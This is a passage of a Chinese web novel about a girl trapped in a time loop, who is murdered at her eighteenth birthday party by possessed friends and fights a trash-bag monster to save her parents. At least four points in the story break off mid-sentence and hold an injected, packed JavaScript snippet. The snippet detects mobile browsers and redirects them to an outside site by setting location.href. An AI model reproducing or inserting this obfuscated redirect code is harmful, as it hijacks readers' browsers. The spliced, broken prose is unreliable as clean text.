碰完杯,俞乐宜帮大家切蛋糕,她是宋须满家的领居,比她小一岁,今天特地溜出来陪她过生日。 俞乐宜将蛋糕递给她,大拇指不小心蹭了到了奶油,她慌张地擦着手:“对不起小满姐,我不小心蹭到了……” 宋须满安慰她:“没事的。”然后接过蛋糕,吃了一口。 感觉心里有些闷闷的,宋须满起身,打算去露台透透气。 这是一个二层的小型露台,在这里可以看到满天繁星。 “是身体不舒服吗?”任安细心地跟了过来,他是班里的风云人物,不仅学习成绩好,还有一副好皮囊。 “出来透透气。”宋须满故作轻松。 “给你。”少年笑着拿出一颗糖,“这是你最喜欢的苹果味,尝尝?” 宋须满却莫名感到一种怪异,她记得她喜欢吃苹果味的糖,但是此刻的她对于苹果味的糖并没有兴趣。 “谢谢。”她剥开糖纸,口腔被苹果的味道侵占,让她感到有点恶心。 这恶心感从何而来,她并不知道。 突然涌上心头的恶心,就好像生吃了一堆虫子,它们在嘴里蠕动爬行,无数细小的触角扫过柔软的舌头,不小心被牙齿咬成两截的则在嘴里疯狂摆动身躯挣扎…… 蒋艺在包厢里大声喊她:“小满!” 随即,宋须满对着站着没动的任安说:“一起回去吧。” 没走几步,她感到肚子一阵绞痛,忍不住吐出一口血,宋须满直直倒在了地上。 最后看到的,是任安惊恐的脸…… “祝你生日快乐!”那股强烈的痛楚仿佛还残留在她的身体里,宋须满闭着眼,睫毛微微颤抖。 稍微缓了一会儿,她睁开眼,对上了蒋艺眼中闪烁的烛光。 她突然意识到,这是回到了生日会刚开始的时候。 蒋艺鼓励地看向宋须满:“吹蜡烛?” 宋须满不动声色地吹灭了蜡烛。 “啪嗒。”灯被打开了。 她的视线扫过每一个人的脸。 是蛋糕?杯子里的饮料?还是那颗苹果味的糖? 每个人的神色都很自然,完全看不出对她有什么意见。 大家平时都是很好的朋友她实在想不明白有谁要杀她。 就算有什么意见,至于杀人吗? “大家来碰个杯!”祁世平提议道。 宋须满特地等他们撞完杯后,才假装刚反应过来,将杯子轻轻蹭了上去,甚至没有真正碰到其他人的杯壁,更不用说混进其他人杯子里的东西了。 杯子是她自己带的,饮料也是每个人都倒过的,这下不会有问题了吧。 递蛋糕时,俞乐宜依然把大拇指蹭到了奶油上,她慌张擦手:“对不起,小满姐,我……” “没关系!”宋须满打断了她的话,接过蛋糕,悄悄放在了桌上。 为了确保事情发展和上次一样,宋须满便说去露台透透气。 任安跟了上来,给了她一颗苹果味的糖。 “谢谢。”宋须满将糖揣进裤兜,和任安东一句西一句地闲聊着。 也许是看宋须满现在心情不错,平时又热爱一些怪谈。 任安悄悄贴近她的耳朵,讲起了怪谈:“你知道那个故事吗?无子的夫妻为了拥有孩子便去传闻有神仙的荒山求子,结果山上的根本不是什么神仙。” “哦?”宋须满确实很感兴趣。 “那东西同意了他们的请求,但夫妻俩都不知道……” “小满!”包厢内传来蒋艺的声音。 宋须满大声回应:“来了!” 任安有些奇怪地看着她,但还是跟着她往包厢的方向走去。 在路过通往一楼的楼梯时,宋须满被人狠狠推了一下,她的身躯在空中旋转,像只断了线的风筝从空中砸在地上,然后滚落…… “祝你生日快乐!”熟悉的声音,并不熟悉的疼痛,上一次是五脏六腑,这一次是浑身上下。 宋须满努力克制住颤抖的身躯。 她看见了!她看见是谁了! 在跌倒时,她看见了任安伸出的手,和他惊恐的面庞。 难道是因为她没吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564229|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的糖,让他计划失败了,这才出此下策吗? 可是没有理由啊,任安和她是很好的朋友,任安常向她请教数学问题,她也经常向任安请教英语问题。 二人看似是竞争关系,却也有种惺惺相惜之情。 …… 一切都在照常进行。 吹蜡烛,碰杯,分蛋糕…… 宋须满这次选择拉着俞乐宜的手一起去露台透气。 任安来了,他当着俞乐宜的面递给宋须满一颗苹果味的糖。 接着是三人闲聊,然后被蒋艺叫进去。 任安走在了楼梯的那一边,与宋须满之间隔了个俞乐宜的距离。 即使任安不在她身边,宋须满仍旧对楼梯有些阴影,路过楼梯时,她小心提防着任安。 “小心脚下!” 正路过游泳池,俞乐宜提醒了她一句。 宋须满低头看脚下,是否有什么危险的东西。 不料地上干干净净,就连一丁点水渍都没有。 她感到一阵大力从旁边袭来。 “扑通——” 她直接掉入了泳池中,泳池中的水就像水泥一样,使她动弹不得,一句话也喊不出来。 肺中的氧气耗尽,每一次呼吸都带入大量的水。 越呛水越想呼吸,越呼吸越呛水。 这一次,她是活活淹死的。 透过还算清澈的水面,她看见了在水波中荡漾着的,俞乐宜惊恐的脸。 为什么?最有可能的嫌疑人是俞乐宜。 为什么要杀她?宋须满感到十分不对劲。 俞乐宜家的大人经常加班,她看俞乐宜经常一个人可怜巴巴地饿肚子,便会邀请俞乐宜来自己家吃饭。 俞乐宜也很喜欢她这个姐姐,长大后,二人也经常来往。 …… 第四次了。宋须满已经不想再待在这个诡异的地方。 “祝你生日快乐!”第四次开场白,耳朵要起茧了。 宋须满睁开眼,先发制人:“对不起,我有点不舒服,我想先走了。” 蒋艺大惊:“怎么了?” “啪嗒。”灯被俞乐宜打开了。 蒋艺放下蜡烛还没灭的蛋糕,拉着她的手:“你的脸色怎么那么差?” 宋须满站起身,轻轻推开她的手:“大家吃好喝好,我先走一步。” 说完,她便快步向门外走去。 路过了小泳池,很好。接着是楼梯,安全走下来了。 然后是门,她松了一口气,就要跨出门槛了。 “噗呲——” 宋须满的脚步停顿,整个人抖了抖,一把尖刀自她的左胸口刺出。身体已经倒下,她努力扭过头,在渐渐模糊的视线中,她看见一双熟悉的运动鞋…… 那是祁世平的运动鞋,上次祁世平过生日,宋须满精心挑选了很久,才选中这么一双运动鞋,不会错的。 她不明白,为什么她的朋友都要杀她。 宋须满努力朝着门外爬去,她的大半个身体艰难地探出门槛,这才咽了气。 “都这么晚了,还在赖床!”这是妈妈怒气冲冲的声音,“把你养这么大,不是让你吃白饭的!” 宋须满睁开眼,阳光透过薄薄的窗帘,朦胧地映在她眼底。 这是……回到早上了? 12. 生日快乐(二) 本应该早早去上班的爸爸也赶过来指责她:“都要成年了还这么不懂事,你之前还打碎了家里好几个花瓶。过了今天就得给我赔钱。” 她感到一阵委屈,明明是她的生日,为什么爸爸妈妈好像要和她划清界限一样。 “你看看人家国外的小孩,过了十八岁,就不用父母养了。你还天天待在家里给我们增添负担。” “养个女孩子真是麻烦,我看老李家的男娃儿就是好养。” “唉,当年就该生个儿子。” …… 宋须满捂住耳朵,原来他们之前对她的好,全都是装的吗? 原来他们就是想要个男孩,这是在怪自己占了他们孩子的道吗? 见她捂住耳朵,爸爸开始冷嘲热讽:“你不是有很多朋友吗?叫人家陪你过生日。” “好啊!那我就去。”宋须满有一种想要夺门而出的冲动,但一想到生日会时发生的诡异事情,她又迟疑了。 不料妈妈直接拽住了她的胳膊,将她往大门口拽。挣扎中,宋须满的一缕头发被扯了下来。 妈妈眼眶泛红,面色狰狞:“快点滚!” “砰——” 大门在她面前被摔上了,差点撞到她的鼻子。 她紧紧握着拳头,抱着膝坐在上一楼的楼梯口,这里刚好能看到房门,并且不容易让下面的人看见她。 门被打开了,她看见爸爸妈妈探出头来看了一圈,妈妈神色凝重:“走了?” 爸爸往楼下看了一眼:“走了。” 妈妈长舒一口气,手上缠绕着那缕被硬拽下来的头发:“有了这东西,想来也能拖延一点时间……” “是啊,为了……” 门被关上了,这门隔音效果还怪好,宋须满根本听不见里面在说什么。 于是她又坐了回去,抱着膝埋着头,不知不觉中,她竟然睡着了。 也说不清做了个怎样的梦,只记得梦中自己好像在投掷什么很坚硬的东西,直接打倒了一整个屋子的人。 真是奇怪的梦啊。 睁开眼,楼道里一片漆黑,一阵风吹过,她打了个哆嗦,活动了下僵硬的身躯,此时,宋须满发现家里的大门好像没有关。 门虚掩着,时不时被风吹开一条缝隙,发出细微的碰撞声。缝隙里没有透出光,而是一片黑暗。 …… 她蹑手蹑脚走下楼,空气中混杂着若有若无的血腥味。让人联想到一些可怕的画面。 越靠近,这味道越浓郁她的心脏也跳得越快。 她扒着门小心翼翼地查看,一片漆黑,什么也看不见。什么也看不见倒是还好,就是怕突然出现一只大眼睛。 抬手将楼道的灯打开,借着这盏只能散发出微弱的光,最大的作用是使人勉强看清台阶而不至于摔倒的灯。 她再次看向缝隙。 细细的光溜进门缝,在地上留下一道纤细的身躯。 等等,那里似乎有什么东西。 一只破布娃娃被扔在地上,脖子上缠着一缕头发,怀里还抱着一张卷起的纸条。 还没等宋须满仔细看清,那道可怜的光突然被黑暗吞噬。 “噗叽噗叽——” 是什么粘腻的东西在地板上滑行的声音,伴随着一股恶臭。 “……找到……找到你了!” 一瞬间,黑暗吞噬了她,伴随着恶臭,宋须满一个鲤鱼打挺从床上坐起。 熟悉的房间,熟悉的窗帘,熟悉的阳光。 又是一次循环。 “都这么晚了,还在赖床!”是妈妈怒气冲冲的声音。 “等等,我去找朋友玩。”宋须满掀开被子,面色平静。 妈妈即将要说出口的指责哽在喉间,像是在思考到底还要不要维持愤怒的表情,她的表情要变不变,有些奇怪。 爸爸走进来,看到宋须满正下床往外走。 爸爸:…… 他的表情也很精彩,憋了半天,憋出一句:“你要去哪啊?” 妈妈走过来用手帮她梳理头发,宋须满头皮一痛,竟是被活生生拽下了一缕头发。 妈妈却毫无知觉,继续用手帮她大力梳理头发,好半天,她才说了一句:“走吧。” 宋须满离开家,带着伤痕累累的身躯。 时间循环不是没有代价的,每一次受到的致命伤都没有消失,而是一同存在在她的身体内。 以现在的身体情况来看,她只能承受最多两次循环。 要是到了第三次,她恐怕还没睁开眼就要永远闭上眼了。 她现在就像个破布娃娃,看起来勉强完好,实际上内里早就溃烂了。 上次那个黑色的不知名恶臭物体,到底是什么东西? 虽然没有一点头绪,但也不能坐以待毙。宋须满直接购置了一把菜刀,还有一盆胶水。 是的,就是整整装满了一整个盆的胶水。 老板乐开了花,还额外赠送她一个铁盆。 宋须满来到家门前,将胶水铺在门口,厚厚一层。 就算天王老子来也得黏掉一层皮的程度。 她表示很满意。随后,她捏着菜刀躲在一旁。 天色渐晚,大门的锁“啪嗒”一下打开。 但是没有人出来,好像就是单纯地打开了锁,血腥味从门缝里飘出来。 宋须满皱了皱眉,这样下去是不行的,于是她对着门缝大喊:“我在这!出来啊!” 一阵强风吹来,宋须满眯着眼睛,朦胧间,一坨黑色不明物体拖着粘腻的液体从大开的大门处“噗叽噗叽”滑出来。 滑到胶水处,它滑不动了。 宋须满终于看清了。 这是一个……一个黑色的……垃圾袋? 硕大的垃圾袋,里面装的应该都是些垃圾,恶臭的来源就是那。 宋须满:? 这是一坨垃圾,她上次竟然被一坨垃圾吞了? 没时间犹豫了,宋须满快速向“垃圾怪”掷出了铁盆。 “咣——” 铁盆准确地砸中了“垃圾怪”,它奋力挣扎着,发出了垃圾的声音:“窸窸窣窣。” 不得不承认,她丢铁盆时,有一种很奇妙的感觉,仿佛她以前也这么丢过什么东西似的…… 宋须满捏着菜刀冲了上去:“垃圾怪!还我命来!我砍砍砍砍砍!” “垃圾怪”被胶水黏住,不能移动半分,只能任凭宋须满的菜刀砍破表皮的垃圾袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这一切到底是怎么回事?莫名其妙开始的循环,不知名的怪物,现在又是惨遭杀害的父母。 她没有留意到,门缝下慢慢渗透进黑色的液体。 在全部进来后,液体迅速重组,变成一个小型的垃圾怪。 垃圾怪慢慢向着绝望的女孩靠近…… 宋须满手里拿着一张湿漉漉的纸条,在垃圾怪扑上来时,她将菜刀往后一掷,精准命中了它的头部?应该是头部……吧。 将它死死钉在地上,然后她拔腿就跑,向着纸条上写着的地点奔跑。 “噗叽噗叽——” 垃圾怪还挺能跑,袋下粘腻的不知名液体就像是它的滑板。 宋须满停下了,她就站在那儿,挑衅一笑:“来啊!” 垃圾怪加速了,甚至出现了残影!快要追上时,宋须满往旁边一闪,她的身后,赫然出现一个石墩子。 要是垃圾怪还是之前那么大,那它很有可能提前就看到那石墩子,可惜它被胶水黏掉了一层皮。 速度太快了!距离也太近了!让我们稍微计算一下,依照高中物理的加速度公式。 它至少需要-20m/平方s的加速度才能在碰到石墩子之前刹住车。 可惜…… 它脚下的黏液不喜欢这个加速度,于是…… “砰——” “哗啦啦——” 垃圾袋狠狠撞上了石墩子,黑色垃圾袋爆开,里面的各种各样的垃圾像下雨一样从空中洒落。 13. 生日快乐(三) 看着都疼,宋须满啧啧两声,然后继续向着纸条上写着的地点跑去。 这是一座荒山,看起来非常的荒芜,宋须满踩下的每一步都能溅起厚厚的尘土。山脚下有个小木屋,突兀的就像这座山的一个脚指甲。 宋须满跑到门前,用力拍门:“救命啊!有人在吗?” 门缓缓打开,露出一双平和的眼睛。 “怎么了?”女人问道。 宋须满沉默了,这该怎么说,说一袋垃圾杀了她爸妈,现在正在追杀她? 这也太荒谬了,要是她听到这样颠的话,她肯定不会信的。 女人继续用平和的眸子看着她,宋须满闭了闭眼:“你可能不相信,但是事实就是,有袋垃圾正在追杀我…… 女人将门开得大了点,表情没有一丝变化,依旧是淡淡的。将她迎了进去。 宋须满环视了一下这间小木屋,虽然小,但家具俱全,干干净净,一看就是认真生活的人的屋子。 女人给她倒上一杯茶,袅袅的雾气让宋须满看不清她的表情。 “我叫蒋青冬,你的父母是谁?” 宋须满喝了一口茶,差点要吐出来,这茶也太苦了,比她的命还要苦。 既然写着这地址的纸条是被妈妈拼死藏在舌下的,那么这人应该可信。 宋须满报上了父母的名字。 蒋青冬思索了一下,恍然大悟:“原来是他们,怪不得……” “你认识我的父母吗?” 蒋青冬看着她笑了一下,并没有回答宋须满的问题:“都这么大了……” 她的手指轻叩着茶杯:“既然你已经来到这了,他们恐怕已经不在了吧。” 宋须满点点头。 蒋青冬又问:“追杀你的垃圾?你是不是伤心过度出现幻觉了?” 幻觉?真的是幻觉吗? 蒋青冬的嗓音很柔和:“别害怕,今晚在我这里睡一觉吧,醒来之后一切都会好起来的……” 宋须满的脑袋晕乎乎,只剩下“会好起来的”几个大字在脑海中盘旋,大脑再也塞不下别的内容。 哐的一下,她的脑袋砸在了桌子上,没了动静。 “孩子,这都是为了你啊……”蒋青冬的叹息几乎要听不见。 … 宋须满醒了,阳光透过薄薄的窗帘,朦胧地映在她眼底。 似乎睡了个好觉呢。 “都这么晚了,还在赖床!”是妈妈的声音。可是,妈妈不是死了吗? 不对,她好像不是醒了,而是又复活了。 她又双叒死了一次! 这次究竟是怎么死的,她完全没有印象,就好像凭空失去了一段记忆。 只记得自己喝了一口蒋青宋递来的茶,然后就没有意识了。 蒋青冬!一定是她,那她又为什么要杀自己呢?宋须满的头开始痛了。 妈妈和爸爸还在那指责着她。 宋须满直接大喊一声:“我不走!” 妈妈愣了一下,就要把她往大门边推。 宋须满扒住房门,随便找了个借口:“等等!我看桌上还有个苹果我吃完再走行了吧。” 妈妈放开她,顺便拔下她一缕头发,语气不善:“吃了就走!” “好好好。”宋须满拿着桌上的青苹果,在家里四处转悠,希望发现点什么线索。 果然,在电视柜下面的缝隙中,她找到了一张照片。 那是年轻时的爸爸妈妈,他们二人携手站在在一个破庙之前,满脸幸福。 宋须满摸到照片背后似乎有点凹凸不平,翻过来看也没有异样。 这张照片有点厚,厚得不正常,那就只能是夹层里了。 宋须满寻找着夹层的缺口,然后从里面掏出了一条细细的红绳。 “你的苹果怎么还没吃完?”妈妈的声音突然在身后响起,宋须满迅速将照片丢回原位,顺便将红绳藏进袖口之中。 “在吃了在吃了。”宋须满赔着笑,咬了一口苹果。 “咔嚓——”这青苹果还挺脆的。 她又咬了一口,这次没有声音。 身体比大脑更快反应过来发生了什么。 宋须满将嘴里的东西吐了出来。 那是一坨蠕动的虫子,每只虫子差不多有小拇指那样大。 虫子本来团在一起,还沾着她的口水,它们掉在地上,四处逃窜。有的在地上靠着细细的脚蠕动逃离,有的翻着肚皮半天都翻不过来。 由于她刚才咬了一口,有些虫子不是完整的,三七分和五五分的都有,两半身躯一起挣扎,让人分不清到底哪边是头部。 “呕——” 她的大脑终于反应过来了,宋须满痛苦地干呕。 此时,她的右手有点痒,密恐患者最不能接受的画面来了! 缺了一小块的,还被她拿在手上的青苹果,变成了团成苹果样子的虫子,它们交织环绕,就是一个球的模样。 不知道有几条,无数条虫子不停快速爬动,以维持苹果的模样。 宋须满连右手都不想要了,也许是太恶心了,她有点不知怎么表达,所以有点面无表情。 “你快走!快点!”妈妈看见这些虫子,变了脸色,直接拿着菜刀把她往外面赶。 宋须满又双被赶出来了。 但她并没有打算逃离,妈妈肯定有事情瞒着自己。 上次的胶水策略很管用,她这次打算买两盆。 老板乐开了花,赠送了她两个铁盆。 估摸着大概时间,她悄悄将房门打开,是的,她在被赶出来之前顺了挂在墙上的大门钥匙。 之前那垃圾怪是从门内出来的,想要拯救爸妈,只能先把它引出来困住。 门内很快有了动静。 “噗叽噗叽——” 宋须满拉开大门,挑衅道:“来啊,你只会被我打得垃圾满天飞。” 垃圾怪迅速改变了路线,向着大门滑来。 “噗叽噗叽噗叽噗叽——”看得出来,它很急。 宋须满也很急,希望它快点出来。 “你想要的东西在这!”妈妈的声音从客厅传来。 她举着缠着一缕头发的布娃娃,对宋须满悄悄摇了摇头:“你过来啊!” 垃圾怪迟疑了一下,改变了路线,向着客厅滑去。 妈妈泪流满面,做了个口型:“快——走——” 然后,她挤出一个笑容,就像小时候安慰她时那样,随后便举着娃娃不再看她。 宋须满急得对着垃圾怪丢了个铁盆,大喊着:“垃圾!” 铁盆准确无误地扣在垃圾怪的头上,它显然生气了,又改变了路线,朝着门这边来了。 妈妈奋力挥舞着布娃娃:“你不想要她的身体了吗?” 看来垃圾怪很记被砸的仇,它一刻也没有迟疑,直接滑出了大门。 然后被黏住了。 宋须满将一些胶水涂满另一个铁盆,用力掷了出去。 铁盆黏在垃圾怪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564231|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上,任凭它怎样晃动也掉不下来。 宋须满赶紧进门,拉着父母:“没时间解释了,快和我走!”待会那个垃圾怪就要渗进来了。 没想到爸妈直接推开了她的手。 爸爸推了她一把:“你快走!不要留在这里。” 妈妈含着眼泪:“只有我们才能拖住它……这一切都是我们的错。小满,快走,记住——” “爸爸妈妈爱你。”爸爸总是板着的脸上出现了柔情,妈妈温柔地笑着看着她。 好像这里并不是什么危险到下一秒就要丧命的地方,而是她想象中的,充满着爱意的,为她过生日的现场。 垃圾怪进来了,它缩小了一圈。 爸爸冲上去扑倒了垃圾怪。 他说:“快跑!” 妈妈挡在了她的身前,一路护送着她到了玄关处。 她说:“快跑!” 宋须满不动,她满脸都是泪:“我不走!要是你们不在了,那我的存在还有什么意义!” 妈妈推了她一把,然后死死关上了门。 被黑色的大门取代的最后一个画面,是妈妈略微有些抱歉的表情,还有那句一半被隔绝在门外的话语:“你的存在本身就是意义。还有,生日快乐……” 宋须满咬着牙往外跑,她也不知道要跑去哪里。 “噗叽噗叽——” “窸窸窣窣——” 垃圾怪追上来了!带着一股血腥味。而且它好像异常生气,垃圾袋摩擦得很厉害,发出了巨大的声响。 垃圾怪时不时溜到她前面挡住她的去路,她就只好往另一边跑。 这下有点难办了,引导它撞到什么东西的办法都没用。它好像比上一次要聪明…… 跑着跑着,宋须满被逼到了前几次循环时与朋友们一起过生日的地方。 她踏进院子门的一瞬间,看见了蒋艺!少女站在二层的露台上,看见她,微微抬起手打了个招呼。 只有蒋艺,只有她!没有在之前的循环中害过自己。 宋须满快速往那边跑去。 蒋艺将身体搭在露台上,手拢起一个喇叭状:“小满——” 宋须满没有再听见垃圾怪的声音,于是她放松下来,停下脚步,抬头看向蒋艺。 蒋艺古怪地笑了一下:“你真是我最好的朋友!” 然后她从露台一跃而下,宋须满下意识躲闪的动作被地底渗出来的粘液阻碍了。 她只能眼睁睁看着蒋艺的身躯在她眼中不断放大,放大……直至颈椎咔嚓一声断裂。 宋须满瞪大双眼,她看见蒋艺从她身上下来,对着从地底渗来又重新组装好的垃圾怪嫌弃道:“她们家没有其他可以附身的东西了?离我远点,蠢死了!上一次被她耍得团团转,要不是我妈……” … 上一次循环。 蒋青冬看着趴在桌上已然失去知觉的少女,对着空无一人的门外:“进来吧。” 蒋艺噙着笑走进来:“把她给我吧,祂需要她。” 蒋青冬拉着她的手,心疼道:“你有没有在好好照顾自己,你都瘦了……” 蒋艺冷哼一声,毫不客气地拍开蒋青冬的手:“少来这一套!” “我已经为了你背叛了相信我的人,背叛了我的信仰。小艺,你真的不能原谅妈妈吗?”蒋青冬满脸痛心与愧疚。 蒋艺没有说话,她扛着宋须满就走了…… 蒋青冬没有注意到,蒋艺走之前那个藏着复杂情绪的隐秘回眸。 14. 生日快乐(四) “祝你生日快乐!”宋须满睁开眼,对上了女孩清澈的眼睛里闪烁着的微弱烛火,女孩捧着蛋糕,期待地看着她。 看着闪烁的蜡烛,她试探性地吹了一下。 等等,宋须满的脸色不是很好,这场景是不是有点熟悉…… 想不起来,头好痛,好难受。 碰杯,切蛋糕,苹果味的糖果…… “呕——”在吃下任安给的苹果味糖果后,宋须满直接吐了出来。 任安吓了一跳:“怎么了?” 宋须满也不知道为什么吃了这颗糖果之后就有种虫子在嘴里爬的感觉,甚至还有了咬断那软软身体的感觉,它们明明毫不相干。 “没事,帮我叫蒋艺。”宋须满吐得脸色苍白。 “……蒋艺?”任安迷茫的表情不似做假,“蒋艺是谁啊?” “你不会中邪了吧?就知道你平时喜欢那些奇奇怪怪的东西……”任安想要上手扶她。 “别闹了,蒋艺不是我最好的朋友吗?”宋须满出了一身冷汗。 有什么东西在她脑海中一闪而过。 等等!是“我”最好的朋友没错。 可是……蒋艺好像从未和其他人交流过啊。 “呕——”这样想着,宋须满又吐出了一些水。 已经没什么可吐的了…… “嘻嘻,你发现了啊。”任安突然发出了蒋艺的声音。 宋须满:? “你爸妈可真爱你。不过,这是最后一次了哦,等我杀了你……” “你在说什么啊?” 蒋艺掏出了刀子,阴恻恻地笑:“还是这个好用,可惜不小心让你跑到门外了……” 她显然没有身为一个反派的合格素养,一句废话也不说,直接朝着宋须满的心脏捅了过去。 “咵擦——” 有什么东西碎裂的声音。 蒋艺:?远看是林归云给宋须满的护盾,近看明明是蒋艺那颗破碎的心啊。 她的附身时间并不能维持很久,现在已经不能再附身了。 可恶,宋须满怎么杀不死? 任安的眼神逐渐恢复单纯,他看着跌坐在地上的宋须满,想把她搀扶起来:“你怎么到地上去了,刚刚发生了什么?” 宋须满捂着脑袋,想起来了!全部都想起来了! 从进入副本开始…… 不,那时的她已经对苹果味的糖果有了阴影,那还不是真正的循环起始点。 在那之前,她恐怕已经这样循环过不知几次了。 现在,她终于明白副本简介上“哪里是头,哪里是尾”的含义了。 莫比乌斯环式的循环,无始无终。 当然,副本里肯定是存在“真正死亡”这个结局的。 歹毒!歹毒的副本! 要不是这几次循环,以死亡为代价一直刺激着她的大脑,又因为护盾破碎而发现了自己的不寻常。她还不知道猴年马月才能想起来。 “别担心……”宋须满自己站了起来,“我的报复要开始了桀桀桀……” 任安:虽然很不想承认,但是我的朋友好像突然变成大反派了! 她查看了一下意识里的大饼。 很好!非常精神! 仔细看,大饼上刻着一行字:“我是宋须满,我是玩家,不是这个世界真正的人。” 宋须满有点尴尬得看不下去,这不找回记忆怎么知道有大饼啊,找回了记忆还要这句话提醒干什么? 原来人,真的不能理解以前的自己啊…… 任安看着表情变幻莫测的宋须满,默默往后退了一步。 “你是不是有什么话要和我说。”宋须满步步紧逼。 任安的脸“蹭”地一下就红了起来,少年胡乱摆手:“你瞎说什么?没有的事。” “是吗?”宋须满狐疑地盯着他看。 任安眼神乱瞟,不敢直视她的眼睛:“你怎么知道……” “讲吧。”宋须满一副你终于承认了的样子,“那个怪谈。” “啊??” “就那个求子的。” 任安脸上娇羞的表情瞬间消失,宋须满甚至从他的脸上看出了失望:“啊,你说那个啊……” 他终于完整地把这个怪谈讲了一遍。 宋须满根据之前的记忆接上了后半部分。 “但那个东西其实就是一个想占人身躯的妖邪,也没有什么特别的能力,只是能感应到已经存在的孩子。等到夫妻俩把孩子生下来养到十八岁,那东西就会在孩子十八岁生日那天上门来抢夺孩子的身躯……” “所以说,那就是个知道别人已经怀孕就跳出来假装是自己在显灵,欺骗别人的不知名东西?” “这么说也没错……哎哎哎!你去哪啊?” 宋须满回头潇洒一笑:“守护正义!” 转头,她毫无形象地狂奔。后悔为什么当初没有买能传送的道具!就算是加强体力的道具也行啊! 真的来不及了,假设上一次循环的末尾,蒋艺说的那些话都是真的。 那么就说明蒋艺和垃圾怪也能跟着她一起循环。 她现在,必须,立刻赶回家。 狂奔一千米,这才来到了大街上,宋须满随手叫了辆车。 从上车开始,司机就用令人感到不舒服的眼神将她上下扫视一遍。 “小妹妹在哪读书啊?” “你头上。” “这么晚了还一个人在外面,不怕碰到坏人啊?” “婉拒了哈。” “要不要叔叔带你去玩玩啊?” “呼吸中,勿扰!” 宋须满满脑子都是副本的事,于是已读乱回。不过这npc也是真智能,都能cos真人了。 要论讨厌程度还真是不相上下。 于是宋须满直接把人敲晕,和刚刚录下的证据一起放在警局门口了。 当然,车她就先带走了,这一切都是为了正义! … 这个时间点,垃圾怪好像要来了。 但这上锁的大门,有点难办……于是她期盼地看着大饼。 大饼:……难不成您想让我自己画个钥匙出来? 这当然是不可能的。 但是她画了一套撬锁工具,并且上网自学了一下教程。 现在,她已经完全掌握了撬锁技巧。 还真被她掌握了!她把锁撬了。一进门,爸爸妈妈两个人一左一右,手拿棍棒与菜刀站着。 好像正等待着什么自投罗网。 宋须满干笑两声:“其实我有东西忘记拿……” “窸窸窣窣——” 她这来得还真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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垃圾怪开始“窸窸窣窣”。 “你是不知道自由自在的好。没人管着你,天天自在潇洒,无拘无束。还没有升学压力和就业压力。糊涂呀!”宋须满开始画大饼了。 很显然,先物理画大饼,再加上她的口头画大饼,效果奇佳。 这主要是因为不管是人还是鬼在被大饼砸了以后,就会懵一会,这时对着他们尽情地画大饼,不仅有足够的输出时间,还很容易被接受。 宋须满的父母看不见蒋艺,自然也听不见蒋艺说话。 只以为是宋须满在和垃圾怪对话,他们的女儿在害怕之下终于说出了这么多年的委屈…… 泪水瞬间蓄满了妈妈的眼睛:“其实你不用很优秀,妈妈只希望你快乐。道路没有对与错,如果你不喜欢读书,我们就走其他的路。” 爸爸一直握着武器时刻注意着垃圾怪,闻言也不禁愧疚地看了她一眼。 虽然很感动,但是这误会可就大了。 她说的是垃圾怪。看到这么善解人意的父母,垃圾怪果然不管不顾地滑了上来。 爸爸妈妈挡在宋须满前面,颇有一种“不跨过我的尸体不准过去”的气势。 宋须满恍惚了一下,好像已经有很多年,没有这样被人护在身后了。 【是否确认使用道具[x府家规]?】 宋须满点击确定,使用了道具。 15. 生日快乐(五) 擦破了饼皮 垃圾怪:“窸窸窣窣?窸窸窣窣!窸窸窣窣——” 我们仍未知道当时的垃圾怪到底受到了什么精神污染。 反正它在那窸窸窣窣了半天,然后被蒋艺一脚踹翻。 “没用的东西!”蒋艺骂了一句,然后嘲讽地看着宋须满,“我胜了你那么多次,别再挣扎了,手下败将。” 宋须满假装没听见,不料蒋艺突然掏出一把匕首就要杀她。 宋须满下意识拿出大饼挡在身前。 匕首被弹开了,宋须满的大饼却只是破了个饼皮。 放下大饼,露出了蒋艺震惊的脸。 她一把捞起垃圾怪就跑:“你给我等着!” 成功了!宋须满成功救下父母,完成了副本! 离今天结束只有十分钟。 过了今天,垃圾怪就不能抢夺这具躯体。 爸爸妈妈似乎很震惊:“它真的走了?” 宋须满给了他们一个肯定的眼神。 他们的泪终于忍不住,二人抱着宋须满痛哭,像是要把她融进血肉里。 温暖的怀抱,怪不得蒋艺和垃圾怪那么执着于“家人”。 虽然还有一些问题没有搞明白,但她又不是来解谜的。宋须满收拾收拾准备退出副本了。 她闭上眼,等待着游戏系统把她传送到结算界面。 … “都这么晚了,还在赖床!” 熟悉的声音,但是不对劲,非常不对劲。 她没有脱离副本,反而开启了新一轮的循环。 身体里积累的疼痛后知后觉袭来,所幸她忍受了这么久已经有点习以为常了。 快要崩溃了,现在的她,就像将一桶水从山脚挑到山顶。欣喜地想要喝口水,结果发现水全洒了那样无助。 为什么?明明已经过了十二点,难道这里面还有不为人知的隐情? 